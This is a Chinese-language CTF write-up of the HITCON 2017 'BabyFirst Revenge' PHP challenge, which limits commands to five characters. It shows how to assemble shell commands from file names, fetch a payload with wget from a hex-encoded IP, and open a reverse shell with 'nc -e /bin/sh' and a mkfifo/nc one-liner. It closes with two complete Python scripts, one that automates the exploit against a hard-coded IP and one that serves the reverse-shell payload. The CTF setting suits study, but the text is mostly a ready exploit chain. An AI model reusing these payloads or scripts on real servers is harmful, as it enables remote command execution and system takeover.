hitcon 2017 BabyFirst Revenge

1
2
3
4
5
6
7
8
9
10
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

限制了执行命令的长度最大为5个字符.

思路是通过把payload写到文件名,然后ls -t>g,得到一个可执行的文件.

但是导出到文件最短需要7个字符,所以需要利用Linux的一个特性,shell脚本某行错误并不影响下一行允许.

例如,

1
2
3
4
5
6
root@kali:~# cat p
fake
id
root@kali:~# sh p
p: 1: p: fake: not found
uid=0(root) gid=0(root) groups=0(root)

这样就可以配合\,把命令拆分写到多行.先把ls -t>g写入到一个文件里,

1
2
3
4
5
http://172.16.44.127/hitcon/web1/index.php?cmd=>l\
http://172.16.44.127/hitcon/web1/index.php?cmd=>s\
http://172.16.44.127/hitcon/web1/index.php?cmd=>\%20\
http://172.16.44.127/hitcon/web1/index.php?cmd=>-t\
http://172.16.44.127/hitcon/web1/index.php?cmd=>\>g
1
2
root@kali:/var/www/html/hitcon/web1/4c91de901c937e70480c64121a3aa67d# ls
\ >g l\ s\ -t\

把这些文件名写入一个shell文件,

1
http://172.16.44.127/hitcon/web1/index.php?cmd=ls>a

结果,

1
2
3
4
5
6
7
root@kali:/var/www/html/hitcon/web1/4c91de901c937e70480c64121a3aa67d# cat a
\
-t\
>g
a
l\
s\

有效的命令实际只有最后两行,因为顺序乱掉了,细心点就能发现,我们再执行一次ls>>a,就正好能产生我们想要的命令,

1
http://172.16.44.127/hitcon/web1/index.php?cmd=ls>>a

现在我们已经有了一个shell脚本”a”用来把文件名按时间排序写入到另一个文件”g”.

所以,接着我们要把要执行的payload写到文件名里,为了方便,我们从远程下载一个payload,

1
wget 0x7f000001

ip地址经过了进制转化,避免有点号.(用10进制的时候Apache报错,不知道为什么😕,有知道的表哥麻烦说一下)

我在远程服务器上放了一个反弹shell的payload,

1
2
3
root@kali:/var/www/html# cat index.html
nc -e /bin/sh 172.16.44.127 4445
root@kali:/var/www/html#

要发送的格式如下,

1
2
3
4
5
6
7
8
9
10
11
http://172.16.44.127/hitcon/web1/index.php?cmd=>wge\
http://172.16.44.127/hitcon/web1/index.php?cmd=>t\
http://172.16.44.127/hitcon/web1/index.php?cmd=>\ \
http://172.16.44.127/hitcon/web1/index.php?cmd=>0x7\
http://172.16.44.127/hitcon/web1/index.php?cmd=>f00\
http://172.16.44.127/hitcon/web1/index.php?cmd=>000\
http://172.16.44.127/hitcon/web1/index.php?cmd=>1\
http://172.16.44.127/hitcon/web1/index.php?cmd=>\ \
http://172.16.44.127/hitcon/web1/index.php?cmd=>-O\
http://172.16.44.127/hitcon/web1/index.php?cmd=>\ \
http://172.16.44.127/hitcon/web1/index.php?cmd=>m

然后用”a”把文件名写入”g”,

1
http://172.16.44.127/hitcon/web1/index.php?cmd=sh a

然后运行”g”下载payload,

1
http://172.16.44.127/hitcon/web1/index.php?cmd=sh g

下载的文件名为”index.html”,运行,

1
http://172.16.44.127/hitcon/web1/index.php?cmd=sh i*

getshell,

附上exp,

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#! /usr/bin/env python3
# Author : sn00py
# Date : 2017/11/8 21:28
# Email: 3022235906@qq.com
# Comment: no comment
import requests
import time
def ip2hex():
res = requests.get("https://api.ipify.org/")
ip = str(res.text)
ipb = [format(int(i), 'b').zfill(8) for i in ip.split('.')]
n = str(int(ipb[0] + ipb[1] + ipb[2] + ipb[3]))
hex_ip = '0x' + format(int(n, 2), 'x')
print("[*] Your ip:", hex_ip)
return hex_ip
def reset():
res = requests.get(url + "?reset")
if res.status_code == 200:
print('[*] Reset successful.')
def make_ls():
list1 = ['>l\\', '>s\\', '>\\ \\', '>-t\\', '>\\>g']
for item in list1:
payload = {"cmd": item}
res = requests.get(url, params=payload)
print('[*]', res.url, res.status_code)
requests.get(url + "?cmd=ls>a")
requests.get(url + "?cmd=ls>>a")
print('[*] make \'ls -t>g successful.\'')
def down_payload(ip):
list2 = ['>wge\\', '>t\\', '>\\ \\', '>' + ip[0:3] + '\\', '>' + ip[3:6] + '\\', '>' + ip[6:9] + '\\', '>' + ip[9:] + '']
list2 = list2[::-1]
for item in list2:
payload = {"cmd": item}
res = requests.get(url, params=payload)
print('[*]', res.url, res.status_code)
requests.get(url + "?cmd=sh a")
requests.get(url + "?cmd=sh g")
print("[*] download payload successful.")
def reverse_shell():
payload = {"cmd": "sh i*"}
start = time.time()
try:
requests.get(url, params=payload, timeout=(2, 5))
except Exception as e:
pass
if time.time() - start > 5:
print("[*] Reverse shell seccussful.")
if __name__ == "__main__":
url = "http://52.199.204.34/index.php"
reset()
make_ls()
attacker_ip = ip2hex()
down_payload(attacker_ip)
reverse_shell()

myHttp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#! /usr/bin/env python3
# Author : sn00py
# Date : 2017/11/9 0:04
# Email: 3022235906@qq.com
# Comment: no comment
from http.server import HTTPServer, CGIHTTPRequestHandler
import sys
reverse_ip = sys.argv[1]
reverse_port = sys.argv[2]
with open('index.html', 'w') as f:
f.write("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + reverse_ip + " " + str(reverse_port) + " >/tmp/f")
port = 80
httpd = HTTPServer(('', port), CGIHTTPRequestHandler)
print('[*] Start http...')
try:
httpd.serve_forever()
except Exception as e:
print(e)

Refer:

https://chybeta.github.io/2017/11/04/HITCON-CTF-2017-BabyFirst-Revenge-writeup/